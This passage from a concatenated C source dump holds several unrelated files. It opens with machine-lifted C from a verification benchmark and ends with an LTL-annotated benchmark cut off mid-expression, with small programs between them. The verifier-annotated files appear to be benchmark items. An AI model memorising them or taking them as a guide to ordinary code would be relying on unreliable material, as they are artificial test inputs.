struct l_struct_union_OC_anon* tmp__4;
int* tmp__5;
int* tmp__6;
int* tmp__7;
int* tmp__8;
int* EAX;
int tmp__9;
int tmp__10;
int tmp__11;
int tmp__12;
int* tmp__13;
int tmp__14;
int* tmp__15;
int* tmp__16;
int* tmp__17;
int tmp__18;
int* tmp__19;
int tmp__20;
int* tmp__21;
int tmp__22;
void* tmp__23;
int tmp__24;
int tmp__25;
int tmp__26;
int tmp__27;
int tmp__28;
void* tmp__29;
int tmp__30;
int tmp__31;
int tmp__32;
int tmp__33;
int tmp__34;
int tmp__35;
int tmp__36;
int tmp__37;
int tmp__38;
int tmp__39;
int tmp__40;
int tmp__41;
int tmp__42;
int tmp__42__PHI_TEMPORARY;
void* tmp__43;
void* tmp__43__PHI_TEMPORARY;
int tmp__44;
int tmp__45;
int tmp__46;
int tmp__47;
int tmp__48;
int tmp__49;
int tmp__50;
int tmp__51;
int tmp__52;
int tmp__53;
int tmp__54;
int tmp__54__PHI_TEMPORARY;
int tmp__55;
int tmp__55__PHI_TEMPORARY;
void* tmp__56;
void* tmp__56__PHI_TEMPORARY;
int tmp__57;
int tmp__58;
int tmp__59;
int tmp__59__PHI_TEMPORARY;
void* tmp__60;
void* tmp__60__PHI_TEMPORARY;
int tmp__61;
int tmp__62;
int tmp__63;
int tmp__64;
int tmp__65;
int tmp__66;
int tmp__67;
int tmp__68;
void* tmp__69;
int tmp__70;
int tmp__71;
int tmp__72;
int tmp__73;
int tmp__74;
int tmp__75;
int tmp__76;
int tmp__77;
int tmp__78;
int tmp__79;
int tmp__80;
int tmp__81;
int tmp__82;
int tmp__83;
int tmp__84;
int tmp__85;
int tmp__86;
int tmp__87;
int tmp__88;
int tmp__89;
int tmp__90;
int tmp__91;
int tmp__92;
int tmp__93;
int tmp__94;
int tmp__95;
int tmp__96;
tmp__4 = (&tmp__1->field6.field1.field0);
tmp__5 = (&tmp__4->field0);
tmp__6 = (&tmp__1->field6.field13.field0.field0);
tmp__7 = (&tmp__1->field6.field15.field0.field0);
tmp__8 = (&tmp__1->field6.field33.field0.field0);
EAX = ((int*)tmp__4);
tmp__9 = *tmp__7;
tmp__10 = *tmp__6;
tmp__11 = llvm_add_u64(tmp__10, (18446744073709551608UL));
*(((int*)tmp__11)) = tmp__9;
*tmp__7 = tmp__11;
tmp__12 = llvm_add_u64(tmp__10, (18446744073709551592UL));
tmp__13 = (&tmp__1->field2.field1);
*tmp__13 = (((int)(int)(((((int)tmp__11) < ((int)(16UL)))&1))));
tmp__14 = /*tail*/ llvm_OC_ctpop_OC_i32(((((int)tmp__12)) & 255));
tmp__15 = (&tmp__1->field2.field3);
*tmp__15 = (llvm_xor_u8((llvm_and_u8((((int)tmp__14)), 1)), 1));
tmp__16 = (&tmp__1->field2.field5);
*tmp__16 = (llvm_and_u8((((int)(llvm_lshr_u64(((tmp__11 ^ (16UL)) ^ tmp__12), (4UL))))), 1));
tmp__17 = (&tmp__1->field2.field7);
*tmp__17 = (((int)(int)(((tmp__12 == (0UL))&1))));
tmp__18 = llvm_lshr_u64(tmp__12, (63UL));
tmp__19 = (&tmp__1->field2.field9);
*tmp__19 = (((int)tmp__18));
tmp__20 = llvm_lshr_u64(tmp__11, (63UL));
tmp__21 = (&tmp__1->field2.field13);
*tmp__21 = (((int)(int)((((llvm_add_u64((tmp__18 ^ tmp__20), tmp__20)) == (2UL))&1))));
*tmp__5 = (0UL);
tmp__22 = llvm_add_u64(tmp__10, (18446744073709551584UL));
*(((int*)tmp__22)) = (llvm_add_u64(tmp__2, (22UL)));
*tmp__6 = tmp__22;
tmp__23 = /*tail*/ sub_401106___VERIFIER_nondet_int(tmp__1, /*UNDEF*/(0UL), tmp__3);
tmp__24 = *tmp__7;
tmp__25 = *EAX;
tmp__26 = *tmp__8;
*(((int*)(llvm_add_u64(tmp__24, (18446744073709551612UL))))) = tmp__25;
*tmp__5 = (0UL);
tmp__27 = *tmp__6;
tmp__28 = llvm_add_u64(tmp__27, (18446744073709551608UL));
*(((int*)tmp__28)) = (llvm_add_u64(tmp__26, (13UL)));
*tmp__6 = tmp__28;
tmp__29 = /*tail*/ sub_401106___VERIFIER_nondet_int(tmp__1, /*UNDEF*/(0UL), tmp__23);
tmp__30 = *tmp__7;
tmp__31 = llvm_add_u64(tmp__30, (18446744073709551608UL));
tmp__32 = *EAX;
tmp__33 = *tmp__8;
*(((int*)tmp__31)) = tmp__32;
tmp__34 = *(((int*)(llvm_add_u64(tmp__30, (18446744073709551612UL)))));
tmp__35 = llvm_add_u32(tmp__34, 1073741823);
*tmp__13 = (((int)(int)(((((int)tmp__34) < ((int)3221225473u))&1))));
tmp__36 = /*tail*/ llvm_OC_ctpop_OC_i32((tmp__35 & 255));
*tmp__15 = (llvm_xor_u8((llvm_and_u8((((int)tmp__36)), 1)), 1));
*tmp__16 = (llvm_and_u8((((int)(llvm_lshr_u32((tmp__35 ^ tmp__34), 4)))), 1));
*tmp__17 = (((int)(int)(((tmp__35 == 0u)&1))));
tmp__37 = llvm_lshr_u32(tmp__35, 31);
tmp__38 = ((int)tmp__37);
*tmp__19 = tmp__38;
tmp__39 = llvm_lshr_u32(tmp__34, 31);
*tmp__21 = (((int)(int)((((llvm_add_u32((tmp__37 ^ tmp__39), (tmp__39 ^ 1))) == 2u)&1))));
tmp__40 = (((((tmp__38 != ((int)0))&1)) ^ ((((llvm_add_u32((tmp__37 ^ tmp__39), (tmp__39 ^ 1))) == 2u)&1)))&1);
tmp__41 = llvm_add_u64((llvm_select_u64(tmp__40, (11UL), (2UL))), (llvm_add_u64(tmp__33, (10UL))));
if (tmp__40) {
goto block_401149;
} else {
goto block_401140;
}
block_401196:
tmp__42 = tmp__42__PHI_TEMPORARY;
tmp__43 = tmp__43__PHI_TEMPORARY;
tmp__44 = *(((int*)tmp__42));
*tmp__7 = tmp__44;
tmp__45 = *(((int*)(llvm_add_u64(tmp__42, (8UL)))));
*tmp__8 = tmp__45;
*tmp__6 = (llvm_add_u64(tmp__42, (16UL)));
return tmp__43;
block_401191:
*tmp__13 = 0;
*tmp__15 = tmp__63;
*tmp__16 = 0;
*tmp__17 = tmp__64;
*tmp__19 = tmp__65;
*tmp__21 = 0;
*tmp__5 = (0UL);
tmp__42__PHI_TEMPORARY = tmp__55; /* for PHI node */
tmp__43__PHI_TEMPORARY = tmp__60; /* for PHI node */
goto block_401196;
block_401180:
*tmp__5 = (0UL);
tmp__42__PHI_TEMPORARY = tmp__70; /* for PHI node */
tmp__43__PHI_TEMPORARY = tmp__69; /* for PHI node */
goto block_401196;
block_401150:
tmp__46 = *(((int*)tmp__31));
tmp__47 = llvm_add_u32(tmp__46, -1073741823);
*tmp__13 = (((int)(int)(((((int)tmp__46) < ((int)1073741823u))&1))));
tmp__48 = /*tail*/ llvm_OC_ctpop_OC_i32((tmp__47 & 255));
*tmp__15 = (llvm_xor_u8((llvm_and_u8((((int)tmp__48)), 1)), 1));
*tmp__16 = (llvm_and_u8((((int)(llvm_lshr_u32(((tmp__46 ^ 16) ^ tmp__47), 4)))), 1));
*tmp__17 = (((int)(int)(((tmp__47 == 0u)&1))));
tmp__49 = llvm_lshr_u32(tmp__47, 31);
tmp__50 = ((int)tmp__49);
*tmp__19 = tmp__50;
tmp__51 = llvm_lshr_u32(tmp__46, 31);
*tmp__21 = (((int)(int)((((llvm_add_u32((tmp__49 ^ tmp__51), tmp__51)) == 2u)&1))));
tmp__52 = (((((tmp__47 == 0u)&1)) | ((((((tmp__50 != ((int)0))&1)) ^ ((((llvm_add_u32((tmp__49 ^ tmp__51), tmp__51)) == 2u)&1)))&1)))&1);
tmp__53 = llvm_add_u64((llvm_select_u64(tmp__52, (52UL), (2UL))), (llvm_add_u64(tmp__96, (7UL))));
if (tmp__52) {
tmp__54__PHI_TEMPORARY = tmp__53; /* for PHI node */
tmp__55__PHI_TEMPORARY = tmp__30; /* for PHI node */
tmp__56__PHI_TEMPORARY = tmp__29; /* for PHI node */
goto block_40118b_2e_outer;
} else {
goto block_401159;
}
do { /* Syntactic loop 'block_40118b.outer' to make GCC happy */
block_40118b_2e_outer:
tmp__54 = tmp__54__PHI_TEMPORARY;
tmp__55 = tmp__55__PHI_TEMPORARY;
tmp__56 = tmp__56__PHI_TEMPORARY;
tmp__57 = llvm_add_u64(tmp__55, (18446744073709551608UL));
tmp__58 = llvm_add_u64(tmp__55, (18446744073709551612UL));
tmp__59__PHI_TEMPORARY = tmp__54; /* for PHI node */
tmp__60__PHI_TEMPORARY = tmp__56; /* for PHI node */
goto block_40118b;
do { /* Syntactic loop 'block_40118b' to make GCC happy */
block_40118b:
tmp__59 = tmp__59__PHI_TEMPORARY;
tmp__60 = tmp__60__PHI_TEMPORARY;
tmp__61 = *(((int*)tmp__57));
tmp__62 = /*tail*/ llvm_OC_ctpop_OC_i32((tmp__61 & 255));
tmp__63 = llvm_xor_u8((llvm_and_u8((((int)tmp__62)), 1)), 1);
tmp__64 = ((int)(int)(((tmp__61 == 0u)&1)));
tmp__65 = ((int)(llvm_lshr_u32(tmp__61, 31)));
tmp__66 = llvm_add_u64((llvm_select_u64((((tmp__65 == ((int)0))&1)), (18446744073709551569UL), (2UL))), (llvm_add_u64(tmp__59, (4UL))));
if ((((tmp__65 == ((int)0))&1))) {
goto block_401160;
} else {
goto block_401191;
}
block_401160:
tmp__84 = *(((int*)tmp__58));
*(((int*)tmp__58)) = (llvm_add_u32(tmp__84, -1));
tmp__85 = *(((int*)tmp__58));
tmp__86 = /*tail*/ llvm_OC_ctpop_OC_i32((tmp__85 & 255));
tmp__87 = llvm_xor_u8((llvm_and_u8((((int)tmp__86)), 1)), 1);
tmp__88 = ((int)(int)(((tmp__85 == 0u)&1)));
tmp__89 = ((int)(llvm_lshr_u32(tmp__85, 31)));
tmp__90 = llvm_add_u64((llvm_select_u64((((tmp__89 == ((int)0))&1)), (2UL), (31UL))), (llvm_add_u64(tmp__66, (8UL))));
if ((((tmp__89 == ((int)1))&1))) {
goto block_401187;
} else {
goto block_40116a;
}
block_401187:
tmp__82 = llvm_add_u64(tmp__90, (4UL));
tmp__83 = *(((int*)tmp__57));
*(((int*)tmp__57)) = (llvm_add_u32(tmp__83, -1));
tmp__59__PHI_TEMPORARY = tmp__82; /* for PHI node */
tmp__60__PHI_TEMPORARY = tmp__60; /* for PHI node */
goto block_40118b;
} while (1); /* end of syntactic loop 'block_40118b' */
block_40116a:
*tmp__13 = 0;
*tmp__15 = tmp__87;
*tmp__16 = 0;
*tmp__17 = tmp__88;
*tmp__19 = tmp__89;
*tmp__21 = 0;
*tmp__5 = (0UL);
tmp__67 = *tmp__6;
tmp__68 = llvm_add_u64(tmp__67, (18446744073709551608UL));
*(((int*)tmp__68)) = (llvm_add_u64(tmp__90, (10UL)));
*tmp__6 = tmp__68;
tmp__69 = /*tail*/ sub_401106___VERIFIER_nondet_int(tmp__1, /*UNDEF*/(0UL), tmp__60);
tmp__70 = *tmp__7;
tmp__71 = llvm_add_u64(tmp__70, (18446744073709551608UL));
tmp__72 = *EAX;
tmp__73 = *tmp__8;
*(((int*)tmp__71)) = tmp__72;
tmp__74 = *(((int*)tmp__71));
tmp__75 = llvm_add_u32(tmp__74, -1073741823);
*tmp__13 = (((int)(int)(((((int)tmp__74) < ((int)1073741823u))&1))));
tmp__76 = /*tail*/ llvm_OC_ctpop_OC_i32((tmp__75 & 255));
*tmp__15 = (llvm_xor_u8((llvm_and_u8((((int)tmp__76)), 1)), 1));
*tmp__16 = (llvm_and_u8((((int)(llvm_lshr_u32(((tmp__74 ^ 16) ^ tmp__75), 4)))), 1));
*tmp__17 = (((int)(int)(((tmp__75 == 0u)&1))));
tmp__77 = llvm_lshr_u32(tmp__75, 31);
tmp__78 = ((int)tmp__77);
*tmp__19 = tmp__78;
tmp__79 = llvm_lshr_u32(tmp__74, 31);
*tmp__21 = (((int)(int)((((llvm_add_u32((tmp__77 ^ tmp__79), tmp__79)) == 2u)&1))));
tmp__80 = (((((tmp__75 == 0u)&1)) | ((((((tmp__78 != ((int)0))&1)) ^ ((((llvm_add_u32((tmp__77 ^ tmp__79), tmp__79)) == 2u)&1)))&1)))&1);
tmp__81 = llvm_add_u64((llvm_select_u64(tmp__80, (13UL), (2UL))), (llvm_add_u64(tmp__73, (10UL))));
if (tmp__80) {
tmp__54__PHI_TEMPORARY = tmp__81; /* for PHI node */
tmp__55__PHI_TEMPORARY = tmp__70; /* for PHI node */
tmp__56__PHI_TEMPORARY = tmp__69; /* for PHI node */
goto block_40118b_2e_outer;
} else {
goto block_401180;
}
} while (1); /* end of syntactic loop 'block_40118b.outer' */
block_401159:
*tmp__5 = (0UL);
tmp__42__PHI_TEMPORARY = tmp__30; /* for PHI node */
tmp__43__PHI_TEMPORARY = tmp__29; /* for PHI node */
goto block_401196;
block_401149:
*tmp__5 = (0UL);
tmp__42__PHI_TEMPORARY = tmp__30; /* for PHI node */
tmp__43__PHI_TEMPORARY = tmp__29; /* for PHI node */
goto block_401196;
block_401140:
tmp__91 = llvm_add_u32(tmp__34, -1073741823);
*tmp__13 = (((int)(int)(((((int)tmp__34) < ((int)1073741823u))&1))));
tmp__92 = /*tail*/ llvm_OC_ctpop_OC_i32((tmp__91 & 255));
*tmp__15 = (llvm_xor_u8((llvm_and_u8((((int)tmp__92)), 1)), 1));
*tmp__16 = (llvm_and_u8((((int)(llvm_lshr_u32(((tmp__34 ^ 16) ^ tmp__91), 4)))), 1));
*tmp__17 = (((int)(int)(((tmp__91 == 0u)&1))));
tmp__93 = llvm_lshr_u32(tmp__91, 31);
tmp__94 = ((int)tmp__93);
*tmp__19 = tmp__94;
*tmp__21 = (((int)(int)((((llvm_add_u32((tmp__93 ^ tmp__39), tmp__39)) == 2u)&1))));
tmp__95 = (((((tmp__91 == 0u)&1)) | ((((((tmp__94 != ((int)0))&1)) ^ ((((llvm_add_u32((tmp__93 ^ tmp__39), tmp__39)) == 2u)&1)))&1)))&1);
tmp__96 = llvm_add_u64((llvm_add_u64(tmp__41, (7UL))), (llvm_select_u64(tmp__95, (9UL), (2UL))));
if (tmp__95) {
goto block_401150;
} else {
goto block_401149;
}
}
void* sub_401106___VERIFIER_nondet_int(struct l_struct_struct_OC_State* tmp__97, int tmp__98, void* tmp__99) {
int* tmp__100;
int tmp__101;
int* tmp__102;
int tmp__103;
int tmp__104;
int tmp__105;
int tmp__106;
tmp__100 = (&tmp__97->field6.field15.field0.field0);
tmp__101 = *tmp__100;
tmp__102 = (&tmp__97->field6.field13.field0.field0);
tmp__103 = *tmp__102;
tmp__104 = llvm_add_u64(tmp__103, (18446744073709551608UL));
*(((int*)tmp__104)) = tmp__101;
tmp__105 = *(((int*)tmp__104));
*tmp__100 = tmp__105;
tmp__106 = *(((int*)tmp__103));
*((&tmp__97->field6.field33.field0.field0)) = tmp__106;
*tmp__102 = (llvm_add_u64(tmp__103, (8UL)));
return tmp__99;
}
|
the_stack_data/150139321.c |
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#define MAX 512
char *basename (char *__filename);
int main (int argc, char *argv[]) {
int fn = 0;
char name[1024];
printf("/*\n");
fprintf(stderr, "#define FONT_MAX %i\n", argc - 1);
fprintf(stderr, "char *fontnames[FONT_MAX] = {\n");
for (fn = 0; fn < argc - 1; fn++) {
strcpy(name, basename(argv[fn + 1]));
printf(" %s\n", name);
fprintf(stderr, " \"%s\",\n", name);
}
fprintf(stderr, "};\n", name);
printf("*/\n");
printf("\n");
printf("int fontdata[%i][96][%i] = {\n", argc - 1, MAX + 2);
for (fn = 0; fn < argc - 1; fn++) {
strcpy(name, basename(argv[fn + 1]));
char line[1024];
char ch[10240];
int cn = 32;
FILE *fd = fopen(argv[fn + 1], "r");
printf(" { // %s\n", name);
while (fgets(line, 1000, fd) != NULL) {
int n = 0;
int m = 0;
int u = 0;
int len = 0;
int x1 = 0;
int y1 = 0;
int x2 = 0;
int y2 = 0;
if (line[7] == ' ') {
len = atoi(line + 7);
} else {
len = atoi(line + 6);
}
ch[0] = 0;
while (line[10 + n] != '\n') {
char c1 = line[10 + n];
char c2 = line[10 + n + 1];
if (c1 == ' ' && c2 == 'R') {
// printf("##\n");
// printf(",-1,-1");
sprintf(ch + strlen(ch), ", -1,-1");
u = 0;
} else {
x2 = c1 - 'R' + 16;
y2 = 32 - (c2 - 'R');
if (m < y2) {
m = y2;
}
sprintf(ch + strlen(ch), ", %2i,%2i", x2, y2);
// printf(",%i,%i", x2, y2);
// if (u != 0) {
// printf("%i,%i -> %i,%i \n", x1, y1, x2, y2);
// }
u = 1;
x1 = x2;
y1 = y2;
}
if (!((n + 2) % 16)) {
sprintf(ch + strlen(ch), "\n ");
}
n += 2;
}
if (n > MAX) {
fprintf(stderr, "#### too big: %i ####\n", n);
exit(1);
}
int l = n / 2;
while (n < MAX) {
// printf(",-1");
sprintf(ch + strlen(ch), ", -1,-1");
if (!((n + 2) % 16)) {
sprintf(ch + strlen(ch), "\n ");
}
n += 2;
}
printf(" { %i,%i // Ascii %i (%c)\n", l, m, cn, cn);
printf(" %s\n", ch);
printf(" },\n");
cn++;
if (cn > 127) {
break;
}
}
printf(" },\n");
fclose(fd);
}
printf("};\n");
return 0;
}
|
the_stack_data/5640.c | /**
* @file creal.c
* Copyright 2012, 2013 MinGW.org project
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice (including the next
* paragraph) shall be included in all copies or substantial portions of the
* Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
*/
#include <complex.h>
double __attribute__ ((const)) creal (double complex _Z)
{
return __real__ _Z;
}
|
the_stack_data/87638960.c | //importação de bibliotecas
#include <stdio.h>
#include <math.h>
//definindo a constante PI
#define PI 3.14159
//função que calcula a área eo volume de uma esfera, modificando o valor das variáveis da função que chama com a função chamada usando ponteiros
void calc_esfera(float r, float *area, float *volume);
//função principal
int main(void)
{
float r, area, volume;
//lendo raio
printf("digite o raio da esfera: ");
scanf("%f", &r);
//alterando o valor das variáveis area e volume indiretamente
calc_esfera(r, &area, &volume);
//mostrando resultados
printf("Area: %.3f\nVolume: %.3f", area, volume);
return 0;
}
void calc_esfera(float r, float *area, float *volume)
{
*area = 4 * PI * pow(r, 2);
*volume = 4 * PI * pow(r, 3) / 3;
}
|
the_stack_data/72012714.c | #include<stdio.h>
int utmopr(long n,long long k)
{
long long s=0,a[1001];
int i;
for(i=0;i<n;i++)
{
scanf("%lld",&a[i]);
s=s+a[i];
}
if(s%2==0)
{
if(k==1)
return 0;
else return 1;
}
else
return 1;
}
int main()
{
int t,i,n;
long k;
scanf("%d",&t);
for(i=0;i<t;i++)
{
scanf("%d %ld",&n,&k);
utmopr(n,k)==1?printf("even\n"):(printf("odd\n"));
}
return 0;
} |
the_stack_data/6386898.c | int main()
{
int a = 68;
int b =5 ;
a = a + a - b+b-a;
return a;
} |
the_stack_data/68887043.c | #include <stdio.h>
#include <stdlib.h>
/* Copyright 2021 Melwyn Francis Carlo */
int main()
{
char main_num[11] = "0123456789";
long int sum = 0;
long int pandigital_num_list[100] = { 0 };
int count = 0;
char temp_char;
for (int i = 0; i < 10; i++)
{
temp_char = main_num[9];
main_num[9] = main_num[8];
main_num[8] = main_num[7];
main_num[7] = main_num[6];
main_num[6] = main_num[5];
main_num[5] = main_num[4];
main_num[4] = main_num[3];
main_num[3] = main_num[2];
main_num[2] = main_num[1];
main_num[1] = main_num[0];
main_num[0] = temp_char;
for (int j = 0; j < 9; j++)
{
temp_char = main_num[9];
main_num[9] = main_num[8];
main_num[8] = main_num[7];
main_num[7] = main_num[6];
main_num[6] = main_num[5];
main_num[5] = main_num[4];
main_num[4] = main_num[3];
main_num[3] = main_num[2];
main_num[2] = main_num[1];
main_num[1] = temp_char;
for (int k = 0; k < 8; k++)
{
temp_char = main_num[9];
main_num[9] = main_num[8];
main_num[8] = main_num[7];
main_num[7] = main_num[6];
main_num[6] = main_num[5];
main_num[5] = main_num[4];
main_num[4] = main_num[3];
main_num[3] = main_num[2];
main_num[2] = temp_char;
for (int l = 0; l < 7; l++)
{
temp_char = main_num[9];
main_num[9] = main_num[8];
main_num[8] = main_num[7];
main_num[7] = main_num[6];
main_num[6] = main_num[5];
main_num[5] = main_num[4];
main_num[4] = main_num[3];
main_num[3] = temp_char;
for (int m = 0; m < 6; m++)
{
temp_char = main_num[9];
main_num[9] = main_num[8];
main_num[8] = main_num[7];
main_num[7] = main_num[6];
main_num[6] = main_num[5];
main_num[5] = main_num[4];
main_num[4] = temp_char;
for (int n = 0; n < 5; n++)
{
temp_char = main_num[9];
main_num[9] = main_num[8];
main_num[8] = main_num[7];
main_num[7] = main_num[6];
main_num[6] = main_num[5];
main_num[5] = temp_char;
for (int o = 0; o < 4; o++)
{
temp_char = main_num[9];
main_num[9] = main_num[8];
main_num[8] = main_num[7];
main_num[7] = main_num[6];
main_num[6] = temp_char;
for (int p = 0; p < 3; p++)
{
temp_char = main_num[9];
main_num[9] = main_num[8];
main_num[8] = main_num[7];
main_num[7] = temp_char;
for (int q = 0; q < 2; q++)
{
temp_char = main_num[9];
main_num[9] = main_num[8];
main_num[8] = temp_char;
char d3[2] = { main_num[2] };
char d4[2] = { main_num[3] };
char d5[2] = { main_num[4] };
if ((main_num[5] != '5') && (main_num[5] != '0'))
continue;
if ((atoi(d4) % 2) != 0)
continue;
if (((atoi(d3) + atoi(d4) + atoi(d5)) % 3) != 0)
continue;
char d567[4] = { main_num[4], main_num[5], main_num[6] };
if ((atoi(d567) % 7) != 0)
continue;
char d678[4] = { main_num[5], main_num[6], main_num[7] };
if ((atoi(d678) % 11) != 0)
continue;
char d789[4] = { main_num[6], main_num[7], main_num[8] };
if ((atoi(d789) % 13) != 0)
continue;
char d8910[4] = { main_num[7], main_num[8], main_num[9] };
if ((atoi(d8910) % 17) != 0)
continue;
int duplicate_found = 0;
for (int r = 0; r < count; r++)
{
if (pandigital_num_list[r] == atol(main_num))
{
duplicate_found = 1;
break;
}
}
if (!duplicate_found)
{
pandigital_num_list[count++] = atol(main_num);
sum += atol(main_num);
}
}
}
}
}
}
}
}
}
}
printf("%ld\n", sum);
return 0;
}
|
the_stack_data/51699371.c | //@ ltl invariant negative: ([] (([] AP(x_28 - x_2 >= 0)) U AP(x_4 - x_2 > 15)));
float x_0;
float x_1;
float x_2;
float x_3;
float x_4;
float x_5;
float x_6;
float x_7;
float x_8;
float x_9;
float x_10;
float x_11;
float x_12;
float x_13;
float x_14;
float x_15;
float x_16;
float x_17;
float x_18;
float x_19;
float x_20;
float x_21;
float x_22;
float x_23;
float x_24;
float x_25;
float x_26;
float x_27;
float x_28;
float x_29;
float x_30;
float x_31;
int main()
{
float x_0_;
float x_1_;
float x_2_;
float x_3_;
float x_4_;
float x_5_;
float x_6_;
float x_7_;
float x_8_;
float x_9_;
float x_10_;
float x_11_;
float x_12_;
float x_13_;
float x_14_;
float x_15_;
float x_16_;
float x_17_;
float x_18_;
float x_19_;
float x_20_;
float x_21_;
float x_22_;
float x_23_;
float x_24_;
float x_25_;
float x_26_;
float x_27_;
float x_28_;
float x_29_;
float x_30_;
float x_31_;
while(1) {
x_0_ = (((((1.0 + x_2) > (4.0 + x_4)? (1.0 + x_2) : (4.0 + x_4)) > ((13.0 + x_6) > (4.0 + x_8)? (13.0 + x_6) : (4.0 + x_8))? ((1.0 + x_2) > (4.0 + x_4)? (1.0 + x_2) : (4.0 + x_4)) : ((13.0 + x_6) > (4.0 + x_8)? (13.0 + x_6) : (4.0 + x_8))) > (((18.0 + x_12) > (16.0 + x_13)? (18.0 + x_12) : (16.0 + x_13)) > ((2.0 + x_14) > (8.0 + x_16)? (2.0 + x_14) : (8.0 + x_16))? ((18.0 + x_12) > (16.0 + x_13)? (18.0 + x_12) : (16.0 + x_13)) : ((2.0 + x_14) > (8.0 + x_16)? (2.0 + x_14) : (8.0 + x_16)))? (((1.0 + x_2) > (4.0 + x_4)? (1.0 + x_2) : (4.0 + x_4)) > ((13.0 + x_6) > (4.0 + x_8)? (13.0 + x_6) : (4.0 + x_8))? ((1.0 + x_2) > (4.0 + x_4)? (1.0 + x_2) : (4.0 + x_4)) : ((13.0 + x_6) > (4.0 + x_8)? (13.0 + x_6) : (4.0 + x_8))) : (((18.0 + x_12) > (16.0 + x_13)? (18.0 + x_12) : (16.0 + x_13)) > ((2.0 + x_14) > (8.0 + x_16)? (2.0 + x_14) : (8.0 + x_16))? ((18.0 + x_12) > (16.0 + x_13)? (18.0 + x_12) : (16.0 + x_13)) : ((2.0 + x_14) > (8.0 + x_16)? (2.0 + x_14) : (8.0 + x_16)))) > ((((13.0 + x_20) > (3.0 + x_21)? (13.0 + x_20) : (3.0 + x_21)) > ((2.0 + x_24) > (1.0 + x_26)? (2.0 + x_24) : (1.0 + x_26))? ((13.0 + x_20) > (3.0 + x_21)? (13.0 + x_20) : (3.0 + x_21)) : ((2.0 + x_24) > (1.0 + x_26)? (2.0 + x_24) : (1.0 + x_26))) > (((3.0 + x_27) > (18.0 + x_29)? (3.0 + x_27) : (18.0 + x_29)) > ((11.0 + x_30) > (18.0 + x_31)? (11.0 + x_30) : (18.0 + x_31))? ((3.0 + x_27) > (18.0 + x_29)? (3.0 + x_27) : (18.0 + x_29)) : ((11.0 + x_30) > (18.0 + x_31)? (11.0 + x_30) : (18.0 + x_31)))? (((13.0 + x_20) > (3.0 + x_21)? (13.0 + x_20) : (3.0 + x_21)) > ((2.0 + x_24) > (1.0 + x_26)? (2.0 + x_24) : (1.0 + x_26))? ((13.0 + x_20) > (3.0 + x_21)? (13.0 + x_20) : (3.0 + x_21)) : ((2.0 + x_24) > (1.0 + x_26)? (2.0 + x_24) : (1.0 + x_26))) : (((3.0 + x_27) > (18.0 + x_29)? (3.0 + x_27) : (18.0 + x_29)) > ((11.0 + x_30) > (18.0 + x_31)? (11.0 + x_30) : (18.0 + x_31))? ((3.0 + x_27) > (18.0 + x_29)? (3.0 + x_27) : (18.0 + x_29)) : ((11.0 + x_30) > (18.0 + x_31)? (11.0 + x_30) : (18.0 + x_31))))? ((((1.0 + x_2) > (4.0 + x_4)? (1.0 + x_2) : (4.0 + x_4)) > ((13.0 + x_6) > (4.0 + x_8)? (13.0 + x_6) : (4.0 + x_8))? ((1.0 + x_2) > (4.0 + x_4)? (1.0 + x_2) : (4.0 + x_4)) : ((13.0 + x_6) > (4.0 + x_8)? (13.0 + x_6) : (4.0 + x_8))) > (((18.0 + x_12) > (16.0 + x_13)? (18.0 + x_12) : (16.0 + x_13)) > ((2.0 + x_14) > (8.0 + x_16)? (2.0 + x_14) : (8.0 + x_16))? ((18.0 + x_12) > (16.0 + x_13)? (18.0 + x_12) : (16.0 + x_13)) : ((2.0 + x_14) > (8.0 + x_16)? (2.0 + x_14) : (8.0 + x_16)))? (((1.0 + x_2) > (4.0 + x_4)? (1.0 + x_2) : (4.0 + x_4)) > ((13.0 + x_6) > (4.0 + x_8)? (13.0 + x_6) : (4.0 + x_8))? ((1.0 + x_2) > (4.0 + x_4)? (1.0 + x_2) : (4.0 + x_4)) : ((13.0 + x_6) > (4.0 + x_8)? (13.0 + x_6) : (4.0 + x_8))) : (((18.0 + x_12) > (16.0 + x_13)? (18.0 + x_12) : (16.0 + x_13)) > ((2.0 + x_14) > (8.0 + x_16)? (2.0 + x_14) : (8.0 + x_16))? ((18.0 + x_12) > (16.0 + x_13)? (18.0 + x_12) : (16.0 + x_13)) : ((2.0 + x_14) > (8.0 + x_16)? (2.0 + x_14) : (8.0 + x_16)))) : ((((13.0 + x_20) > (3.0 + x_21)? (13.0 + x_20) : (3.0 + x_21)) > ((2.0 + x_24) > (1.0 + x_26)? (2.0 + x_24) : (1.0 + x_26))? ((13.0 + x_20) > (3.0 + x_21)? (13.0 + x_20) : (3.0 + x_21)) : ((2.0 + x_24) > (1.0 + x_26)? (2.0 + x_24) : (1.0 + x_26))) > (((3.0 + x_27) > (18.0 + x_29)? (3.0 + x_27) : (18.0 + x_29)) > ((11.0 + x_30) > (18.0 + x_31)? (11.0 + x_30) : (18.0 + x_31))? ((3.0 + x_27) > (18.0 + x_29)? (3.0 + x_27) : (18.0 + x_29)) : ((11.0 + x_30) > (18.0 + x_31)? (11.0 + x_30) : (18.0 + x_31)))? (((13.0 + x_20) > (3.0 + x_21)? (13.0 + x_20) : (3.0 + x_21)) > ((2.0 + x_24) > (1.0 + x_26)? (2.0 + x_24) : (1.0 + x_26))? ((13.0 + x_20) > (3.0 + x_21)? (13.0 + x_20) : (3.0 + x_21)) : ((2.0 + x_24) > (1.0 + x_26)? (2.0 + x_24) : (1.0 + x_26))) : (((3.0 + x_27) > (18.0 + x_29)? (3.0 + x_27) : (18.0 + x_29)) > ((11.0 + x_30) > (18.0 + x_31)? (11.0 + x_30) : (18.0 + x_31))? ((3.0 + x_27) > (18.0 + x_29)? (3.0 + x_27) : (18.0 + x_29)) : ((11.0 + x_30) > (18.0 + x_31)? (11.0 + x_30) : (18.0 + 